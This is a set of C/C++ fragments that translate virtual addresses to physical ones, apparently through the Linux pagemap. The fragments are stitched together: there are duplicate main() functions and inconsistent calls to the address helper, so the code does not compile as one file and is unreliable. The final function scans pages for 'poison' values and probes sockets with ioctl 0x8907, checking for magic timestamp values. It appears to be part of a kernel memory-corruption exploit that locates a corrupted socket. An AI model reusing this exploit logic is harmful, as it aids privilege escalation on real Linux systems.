long test()
{
volatile unsigned long a = 1;
unsigned long *p = NULL;
p = (unsigned long *)malloc(sizeof(unsigned long));
*p = 1;
unsigned long p_phy_addr = mem_addr_vir2phy((unsigned long)p);
unsigned long a_phy_addr = mem_addr_vir2phy((unsigned long)&a);
FILE* fp = fopen("hello.txt", "a+");
long i = 0;
while(1)
{
//int s1 = a, s2 = *p;
//printf("===%ld %ld====", s1, s2);
/* printf("pid = %5d, times = %4ld, a's addr = %p [(physical : 0x%lx) : 0x%lx\n"
"p point's addr = %p q's addr = %p [(physical : 0x%lx) : 0x%lx]\n",
getpid( ), i,
&a, a_phy_addr, (volatile unsigned long)a,
&p, p, p_phy_addr, (volatile unsigned long)*p);*/
fprintf(fp, "pid = %d, %ld, a's addr = %p [0x%lx : %ld]"
", p point addr = %p q's addr = %p [0x%lx : %ld]\n",
getpid( ), i,
&a, a_phy_addr, a,
&p, p, p_phy_addr, (volatile unsigned long)*p);
fflush(fp);
sleep(1);
i++;
}
fclose(fp);
return 0;
}
int main(int argc, char **argv)
{
int a = 0x12345678;
unsigned long phy;
mem_addr_vir2phy((unsigned long)&a, &phy);
printf("vaddr = %p, phy = 0x%lx\n", &a, phy);
printf("Enter any key to exit\n");
fgetc(stdin);
return 0;
}
int main(int argc, char* argv[]) {
unsigned long a = 0xffbbccaa;
unsigned long vir = reinterpret_cast<unsigned long>(&a);
unsigned long phy = 0;
fprintf(stderr, "sizeof(unsigned long):%lu, sizeof(unsigned long*):%lu\n", sizeof(unsigned long), sizeof(unsigned long*));
mem_addr_vir2phy(vir, &phy);
fprintf(stderr, "1 vir:0x%lx, phy: 0x%lx getchar to continue\n", vir, phy);
getchar();
a = 0x11111111;
fprintf(stderr, "2 vir:0x%lx, phy: 0x%lx getchar to continue\n", vir, phy);
getchar();
fprintf(stderr, "3 vir:0x%lx, phy: 0x%lx a:0x%lx\n", vir, phy, a);
}
int findItByPagemap(void* addr, int nPages, int* sockFds, int nSize){
unsigned int phyAddr = -1;
struct timespec timeSt1;
for(int j=0; j<nPages; j++){
if( 0 != mem_addr_vir2phy((unsigned int)addr+j*0x1000, &phyAddr)){
printf("failed get phyaddr\n");
return -1;
}
for(int i=0; i<nSize; i++){
//printf("posionCalculateValues[i]=%x, phyAddr=%x\n",
// posionCalculateValues[i], phyAddr);
//if( 0 == posionCalculateValues[i] || posionCalculateValues[i] < phyAddr || posionCalculateValues[i] > phyAddr + 0x1000 ){}
if( 0 == posionCalculateValues[i] ){
continue;
}
/*if( !( posionCalculateValues[i] >= phyAddr && posionCalculateValues[i] <= phyAddr + 0x1000 ) &&
!( posionValues[i] >= phyAddr && posionValues[i] <= phyAddr + 0x1000 ) ){
continue;
}*/
if( !( posionCalculateValues[i] >= phyAddr && posionCalculateValues[i] <= phyAddr + 0x1000 ) ){
continue;
}
timeSt1.tv_sec = 0;
timeSt1.tv_nsec=0;
if( 0 != ioctl(sockFds[i], 0x8907, &timeSt1) ){
//printf("ioctl failed\n");
continue;
}
if(timeSt1.tv_sec != 0xAB5DF2C9 &&
timeSt1.tv_sec != 0xB0B0B0B0){
continue;
}
printf("%d=CalculateValue=%x, Value=%x, phyAddr=%x, tv_sec=%x\n",
i, posionCalculateValues[i], posionValues[i], phyAddr, (unsigned int)timeSt1.tv_sec);
return sockFds[i];
}
}
return -1;
}
